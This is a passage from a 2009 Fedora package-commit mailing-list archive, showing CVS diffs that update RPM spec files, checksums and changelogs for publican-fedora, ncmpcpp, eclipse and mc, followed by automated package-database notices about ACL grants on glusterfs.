+- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
+- Translate Fedora Feedback into Swedish
+- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
+- Update Fedora Feedback in Japanese
+- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
+- Translate Fedora Feedback into Danish
+- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
+- Fix right to left fo ar-AR. BZ #486162
+- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
+- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
+- Translate Fedora Feedback into Russian
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.18-1
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Mar 9 2009  Jeff Fearn <jfearn at redhat.com> 0.18
+- Add symlinks for langauges without country codes. BZ #487256
+- Fri Mar 6 2009 Piotr Dr?g <piotrdrag at gmail.com>
+- Translate Fedora Feedback into Polish
+- Wed Mar 4 2009 Milo? Komar?evi? <kmilos at gmail.com>
+- Translate Fedora Feedback into Serbian
+- Translate Fedora Feedback into Serbian (Latin)
+- Wed Mar 4 2009 Richard van der Luit <zuma at xs4all.nl>
+- Corrections to Fedora Feedback in Dutch
+- Sat Feb 28 2009 Rui Gouveia <rui.gouveia at globaltek.pt>
+- Translate Fedora Feedback into European Portuguese
+- Fri Feb 27 2009 Richard van der Luit <zuma at xs4all.nl>
+- Translate Fedora Feedback into Dutch
+
+* Mon Jan 5 2009 Jeff Fearn <jfearn at redhat.com> 0.17
+- Add LICENSE override for RPMs. BZ #477720
+
+* Mon Dec 1 2008 Jeff Fearn <jfearn at redhat.com> 0.16
+- resave title_logo.png. BZ #474075
+- Add override for PROD_URL
+
+* Tue Sep 9 2008 Jeff Fearn <jfearn at redhat.com> 0.15
+- Removed corpauthor from template. BZ #461222
+- Updated Fedora legal notice. BZ #448022
+
+* Mon Sep 1 2008 Jeff Fearn <jfearn at redhat.com> 0.14-0
+- Fix styles for publican 0.35 mods
+- Removed common entity files as they break translation
+- Remove ID's from common files. BZ #460770
+
+* Mon Apr 14 2008 Jeff Fearn <jfearn at redhat.com> 0.13-0
+- Fix missing list image in html-single articles
+- QANDA set css fix BZ #442674
+- Override PDF Theme
+- Added package tag BZ #444908
+- Added Article and Set Templates
+
 * Mon Apr 7 2008 Jeff Fearn <jfearn at redhat.com> 0.12-0
 - Add Desktop css customisations
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Apr 2008 23:43:27 -0000	1.2
+++ sources	5 Oct 2009 08:03:41 -0000	1.3
@@ -1 +1 @@
-3258bb5285dcaa11d359dc91de81ae07  publican-fedora-0.12.tgz
+e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Mon Oct  5 08:05:12 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Mon,  5 Oct 2009 08:05:12 +0000 (UTC)
Subject: rpms/publican-fedora/EL-5 import.log, NONE, 1.1 .cvsignore, 1.1,
	1.2 publican-fedora.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091005080512.2C9FA11C00DB@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17272/EL-5

Modified Files:
	.cvsignore publican-fedora.spec sources 
Added Files:
	import.log 
Log Message:
* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
- Add Fedora logos with correct trademarks. BZ #492041
- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Translate Fedora Feedback into Ukrainian
- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
- Translate Fedora Feedback into Finnish
- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
- Translate Fedora Feedback into Croatian
- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
- Translate Fedora Feedback into Catalan
- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
- Translate Fedora Feedback into Norwegian (Bokm?l)
- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
- Translate Fedora Feedback into Hebrew
- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
- Translate Fedora Feedback into Latvian
- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
- Translate Fedora Feedback into Czech
- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
- Translate Fedora Feedback into Slovak 
- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
- Translate Fedora Feedback into Bosnian
- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
- Translate Fedora Feedback into Thai
- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
- Translate Fedora Feedback into Icelandic
- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
- Translate Fedora Feedback into Hungarian
- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
- Translate Fedora Feedback into Swedish
- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
- Update Fedora Feedback in Japanese
- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
- Translate Fedora Feedback into Danish
- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
- Fix right to left fo ar-AR. BZ #486162
- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
- Translate Fedora Feedback into Russian




--- NEW FILE import.log ---
publican-fedora-0_19-1_fc11:EL-5:publican-fedora-0.19-1.fc11.src.rpm:1254729826


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Feb 2008 23:53:29 -0000	1.1
+++ .cvsignore	5 Oct 2009 08:05:11 -0000	1.2
@@ -0,0 +1 @@
+publican-fedora-0.19.tgz


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-5/publican-fedora.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- publican-fedora.spec	23 Apr 2008 23:42:03 -0000	1.1
+++ publican-fedora.spec	5 Oct 2009 08:05:12 -0000	1.2
@@ -2,13 +2,13 @@
 
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
-Version:	0.12
-Release:	0%{?dist}
+Version:	0.19
+Release:	1%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Buildarch:	noarch
-Source:		http://svn.fedorahosted.org/svn/publican/trunk/Files/%{name}-%{version}.tgz
+Source:		https://fedorahosted.org/releases/p/u/publican/%{name}-%{version}.tgz
 Requires:	publican
 BuildRequires:	publican
 URL:		https://fedorahosted.org/publican
@@ -28,9 +28,13 @@ for %{brand} with publican.
 rm -rf $RPM_BUILD_ROOT
 mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/Templates
 mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/make
+mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/xsl/%{brand}
 cp -rf Common_Content $RPM_BUILD_ROOT%{_datadir}/publican/
 cp -rf Book_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Book_Template
+cp -rf Set_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Set_Template
+cp -rf Article_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Article_Template
 install -m 755 make/Makefile.%{brand} $RPM_BUILD_ROOT%{_datadir}/publican/make/.
+install -m 755 xsl/*.xsl $RPM_BUILD_ROOT%{_datadir}/publican/xsl/%{brand}/.
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -40,10 +44,92 @@ rm -rf $RPM_BUILD_ROOT
 %doc README
 %doc COPYING
 %{_datadir}/publican/Common_Content/%{brand}
-%{_datadir}/publican/Templates/%{brand}-Book_Template
+%{_datadir}/publican/Templates/%{brand}-*_Template
 %{_datadir}/publican/make/Makefile.%{brand}
+%{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
+- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
+- Add Fedora logos with correct trademarks. BZ #492041
+- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Translate Fedora Feedback into Ukrainian
+- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
+- Translate Fedora Feedback into Finnish
+- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
+- Translate Fedora Feedback into Croatian
+- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
+- Translate Fedora Feedback into Catalan
+- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
+- Translate Fedora Feedback into Norwegian (Bokm?l)
+- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
+- Translate Fedora Feedback into Hebrew
+- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
+- Translate Fedora Feedback into Latvian
+- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
+- Translate Fedora Feedback into Czech
+- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
+- Translate Fedora Feedback into Slovak 
+- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
+- Translate Fedora Feedback into Bosnian
+- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
+- Translate Fedora Feedback into Thai
+- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
+- Translate Fedora Feedback into Icelandic
+- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
+- Translate Fedora Feedback into Hungarian
+- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
+- Translate Fedora Feedback into Swedish
+- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
+- Update Fedora Feedback in Japanese
+- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
+- Translate Fedora Feedback into Danish
+- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
+- Fix right to left fo ar-AR. BZ #486162
+- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
+- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
+- Translate Fedora Feedback into Russian
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.18-1
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Mar 9 2009  Jeff Fearn <jfearn at redhat.com> 0.18
+- Add symlinks for langauges without country codes. BZ #487256
+- Fri Mar 6 2009 Piotr Dr?g <piotrdrag at gmail.com>
+- Translate Fedora Feedback into Polish
+- Wed Mar 4 2009 Milo? Komar?evi? <kmilos at gmail.com>
+- Translate Fedora Feedback into Serbian
+- Translate Fedora Feedback into Serbian (Latin)
+- Wed Mar 4 2009 Richard van der Luit <zuma at xs4all.nl>
+- Corrections to Fedora Feedback in Dutch
+- Sat Feb 28 2009 Rui Gouveia <rui.gouveia at globaltek.pt>
+- Translate Fedora Feedback into European Portuguese
+- Fri Feb 27 2009 Richard van der Luit <zuma at xs4all.nl>
+- Translate Fedora Feedback into Dutch
+
+* Mon Jan 5 2009 Jeff Fearn <jfearn at redhat.com> 0.17
+- Add LICENSE override for RPMs. BZ #477720
+
+* Mon Dec 1 2008 Jeff Fearn <jfearn at redhat.com> 0.16
+- resave title_logo.png. BZ #474075
+- Add override for PROD_URL
+
+* Tue Sep 9 2008 Jeff Fearn <jfearn at redhat.com> 0.15
+- Removed corpauthor from template. BZ #461222
+- Updated Fedora legal notice. BZ #448022
+
+* Mon Sep 1 2008 Jeff Fearn <jfearn at redhat.com> 0.14-0
+- Fix styles for publican 0.35 mods
+- Removed common entity files as they break translation
+- Remove ID's from common files. BZ #460770
+
+* Mon Apr 14 2008 Jeff Fearn <jfearn at redhat.com> 0.13-0
+- Fix missing list image in html-single articles
+- QANDA set css fix BZ #442674
+- Override PDF Theme
+- Added package tag BZ #444908
+- Added Article and Set Templates
+
 * Mon Apr 7 2008 Jeff Fearn <jfearn at redhat.com> 0.12-0
 - Add Desktop css customisations
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Apr 2008 23:40:00 -0000	1.2
+++ sources	5 Oct 2009 08:05:12 -0000	1.3
@@ -1 +1 @@
-3258bb5285dcaa11d359dc91de81ae07  publican-fedora-0.12.tgz
+e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz



From mnowak at fedoraproject.org  Mon Oct  5 08:33:03 2009
From: mnowak at fedoraproject.org (Michal Nowak)
Date: Mon,  5 Oct 2009 08:33:03 +0000 (UTC)
Subject: rpms/ncmpcpp/devel .cvsignore, 1.9, 1.10 import.log, 1.8,
	1.9 ncmpcpp.spec, 1.10, 1.11 sources, 1.9, 1.10
Message-ID: <20091005083304.0E29E11C00DB@cvs1.fedora.phx.redhat.com>

Author: mnowak

Update of /cvs/pkgs/rpms/ncmpcpp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28088/devel

Modified Files:
	.cvsignore import.log ncmpcpp.spec sources 
Log Message:
0.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncmpcpp/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	11 Sep 2009 13:35:48 -0000	1.9
+++ .cvsignore	5 Oct 2009 08:33:02 -0000	1.10
@@ -1 +1 @@
-ncmpcpp-0.4.tar.bz2
+ncmpcpp-0.4.1.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ncmpcpp/devel/import.log,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- import.log	11 Sep 2009 13:35:48 -0000	1.8
+++ import.log	5 Oct 2009 08:33:02 -0000	1.9
@@ -6,3 +6,4 @@ ncmpcpp-0_3_3-1_fc11:HEAD:ncmpcpp-0.3.3-
 ncmpcpp-0_3_4-1_fc11:HEAD:ncmpcpp-0.3.4-1.fc11.src.rpm:1244851674
 ncmpcpp-0_3_5-1_fc11:HEAD:ncmpcpp-0.3.5-1.fc11.src.rpm:1245852823
 ncmpcpp-0_4-1_fc12:HEAD:ncmpcpp-0.4-1.fc12.src.rpm:1252676085
+ncmpcpp-0_4_1-1_fc12:HEAD:ncmpcpp-0.4.1-1.fc12.src.rpm:1254731474


Index: ncmpcpp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncmpcpp/devel/ncmpcpp.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ncmpcpp.spec	11 Sep 2009 13:35:48 -0000	1.10
+++ ncmpcpp.spec	5 Oct 2009 08:33:02 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           ncmpcpp
-Version:        0.4
+Version:        0.4.1
 Release:        1%{?dist}
 Summary:        Clone of ncmpc with new features and written in C++
 Group:          Applications/Multimedia
@@ -48,6 +48,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct  5 2009 Michal Nowak <mnowak at redhat.com> - 0.4.1-1
+- 0.4.1
+
 * Fri Sep 11 2009 Michal Nowak <mnowak at redhat.com> - 0.4-1
 - 0.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncmpcpp/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	11 Sep 2009 13:35:48 -0000	1.9
+++ sources	5 Oct 2009 08:33:02 -0000	1.10
@@ -1 +1 @@
-7c06f7591fd3785e4a61c40e0e8e440f  ncmpcpp-0.4.tar.bz2
+120e15c8791f82c30671990bbf2022e1  ncmpcpp-0.4.1.tar.bz2



From akurtakov at fedoraproject.org  Mon Oct  5 08:41:34 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Mon,  5 Oct 2009 08:41:34 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse-addusrsharedropins.patch, 1.2,
	1.3 eclipse.spec, 1.672, 1.673
Message-ID: <20091005084134.58CBE11C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30984/devel

Modified Files:
	eclipse.spec 
Added Files:
	eclipse-addusrsharedropins.patch 
Log Message:
Add /usr/share/eclipse/dropins to dropins list.

eclipse-addusrsharedropins.patch:
 sdk.product |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: eclipse-addusrsharedropins.patch
===================================================================
RCS file: eclipse-addusrsharedropins.patch
diff -N eclipse-addusrsharedropins.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ eclipse-addusrsharedropins.patch	5 Oct 2009 08:41:33 -0000	1.3
@@ -0,0 +1,11 @@
+--- buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product.orig	2009-10-05 10:29:14.349001858 +0300
++++ buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product	2009-10-05 10:46:26.812754089 +0300
+@@ -8,7 +8,7 @@
+ 
+    <launcherArgs>
+       <programArgs>-showsplash org.eclipse.platform --launcher.XXMaxPermSize 256m</programArgs>
+-      <vmArgs>-Xms40m -Xmx256m</vmArgs>
++      <vmArgs>-Xms40m -Xmx512m -Dorg.eclipse.equinox.p2.reconciler.dropins.directory=/usr/share/eclipse/dropins</vmArgs>
+       <vmArgsMac>-Xdock:icon=../Resources/Eclipse.icns -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts</vmArgsMac>
+    </launcherArgs>
+ 


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.672
retrieving revision 1.673
diff -u -p -r1.672 -r1.673
--- eclipse.spec	2 Oct 2009 20:01:51 -0000	1.672
+++ eclipse.spec	5 Oct 2009 08:41:33 -0000	1.673
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        1%{?dist}
+Release:        2%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -69,6 +69,10 @@ Patch5:        %{name}-add-ppc64-filesys
 # need to go upstream.
 Patch6:        %{name}-target-platform-template.patch
 
+# Add /usr/share/eclipse/dropins to list of dropins locations
+# Already applied in eclipse-build upstream rev. #23023
+Patch7:        %{name}-addusrsharedropins.patch
+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  ant
 BuildRequires:  jpackage-utils >= 0:1.5, make, gcc
@@ -519,7 +523,7 @@ popd
 
 # target platform template patch
 %patch6 -p0
-
+%patch7 -p0
 popd
 
 %build
@@ -1290,6 +1294,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Mon Oct 5 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-2
+- Add /usr/share/eclipse/dropins to dropins locations.
+
 * Fri Oct 2 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-1
 - Update to 3.5.1.
 



From jnovy at fedoraproject.org  Mon Oct  5 09:08:44 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Mon,  5 Oct 2009 09:08:44 +0000 (UTC)
Subject: rpms/mc/devel .cvsignore, 1.40, 1.41 mc.spec, 1.148, 1.149 sources, 
	1.48, 1.49
Message-ID: <20091005090845.031B211C00DB@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/mc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8018

Modified Files:
	.cvsignore mc.spec sources 
Log Message:
* Mon Oct  5 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.5.pre3
- update to 4.7.0-pre3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mc/devel/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	1 Sep 2009 05:59:44 -0000	1.40
+++ .cvsignore	5 Oct 2009 09:08:44 -0000	1.41
@@ -1 +1 @@
-mc-4.7.0-pre2.tar.bz2
+mc-4.7.0-pre3.tar.bz2


Index: mc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mc/devel/mc.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- mc.spec	1 Sep 2009 05:59:44 -0000	1.148
+++ mc.spec	5 Oct 2009 09:08:44 -0000	1.149
@@ -1,12 +1,12 @@
 Summary:	User-friendly text console file manager and visual shell
 Name:		mc
 Version:	4.7.0
-Release:	0.4.pre2%{?dist}
+Release:	0.5.pre3%{?dist}
 Epoch:		1
 License:	GPLv2
 Group:		System Environment/Shells
 # tarball created from git clone git://midnight-commander.org/git/mc.git
-Source0:	mc-%{version}-pre2.tar.bz2
+Source0:	mc-%{version}-pre3.tar.bz2
 URL:		http://www.midnight-commander.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	glib2-devel e2fsprogs-devel slang-devel
@@ -23,7 +23,7 @@ ability to FTP, view tar and zip files, 
 specific files.
 
 %prep
-%setup -q -n mc-%{version}-pre2
+%setup -q -n mc-%{version}-pre3
 %patch1 -p1 -b .exit
 %patch2 -p1 -b .extensions
 
@@ -71,8 +71,8 @@ rm -rf $RPM_BUILD_ROOT
 %config %{_sysconfdir}/mc/mc.charsets
 %config %{_sysconfdir}/mc/mc.lib
 %config(noreplace) %{_sysconfdir}/mc/*edit*
-%config(noreplace) %{_sysconfdir}/mc/mc.ext
-%config(noreplace) %{_sysconfdir}/mc/mc.menu
+%config(noreplace) %{_sysconfdir}/mc/mc.*
+%config(noreplace) %{_sysconfdir}/mc/*.ini
 %config(noreplace) %{_sysconfdir}/mc/extfs/extfs.ini
 %config(noreplace) %{_sysconfdir}/mc/extfs/sfs.ini
 %dir %{_datadir}/mc
@@ -81,6 +81,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{_libexecdir}/mc
 
 %changelog
+* Mon Oct  5 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.5.pre3
+- update to 4.7.0-pre3
+
 * Tue Sep  1 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.4.pre2
 - update to 4.7.0-pre2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mc/devel/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	1 Sep 2009 05:59:45 -0000	1.48
+++ sources	5 Oct 2009 09:08:44 -0000	1.49
@@ -1 +1 @@
-347d0144709ed342302787e314146eef  mc-4.7.0-pre2.tar.bz2
+8f5f84a2858c8aaecee7a221a9428370  mc-4.7.0-pre3.tar.bz2



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:38 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091738.6844510F88E@bastion2.fedora.phx.redhat.com>

thias has set the watchbugzilla acl on glusterfs (Fedora devel) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:40 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091740.DEBBB10F895@bastion2.fedora.phx.redhat.com>

thias has set the watchcommits acl on glusterfs (Fedora devel) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:42 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091742.D02D110F88E@bastion2.fedora.phx.redhat.com>

thias has set the commit acl on glusterfs (Fedora devel) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:48 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091748.3F0DF10F8A2@bastion2.fedora.phx.redhat.com>

thias has set the watchbugzilla acl on glusterfs (Fedora EPEL 5) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:49 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091749.28C3410F895@bastion2.fedora.phx.redhat.com>

thias has set the watchcommits acl on glusterfs (Fedora EPEL 5) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:50 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091750.A450110F8A8@bastion2.fedora.phx.redhat.com>

thias has set the commit acl on glusterfs (Fedora EPEL 5) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:54 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091754.BDEFC10F88E@bastion2.fedora.phx.redhat.com>

thias has set the watchcommits acl on glusterfs (Fedora 9) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:55 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091755.69E6810F8AC@bastion2.fedora.phx.redhat.com>

thias has set the watchbugzilla acl on glusterfs (Fedora 9) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:17:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:17:57 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091757.44B2B10F894@bastion2.fedora.phx.redhat.com>

thias has set the commit acl on glusterfs (Fedora 9) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:00 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091800.9173D10F895@bastion2.fedora.phx.redhat.com>

thias has set the watchbugzilla acl on glusterfs (Fedora 10) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:02 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091802.8D90C10F8A8@bastion2.fedora.phx.redhat.com>

thias has set the watchcommits acl on glusterfs (Fedora 10) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:03 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091804.05F9A10F88E@bastion2.fedora.phx.redhat.com>

thias has set the commit acl on glusterfs (Fedora 10) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:08 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091808.E1B5710F8AC@bastion2.fedora.phx.redhat.com>

thias has set the watchbugzilla acl on glusterfs (Fedora 11) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:09 +0000
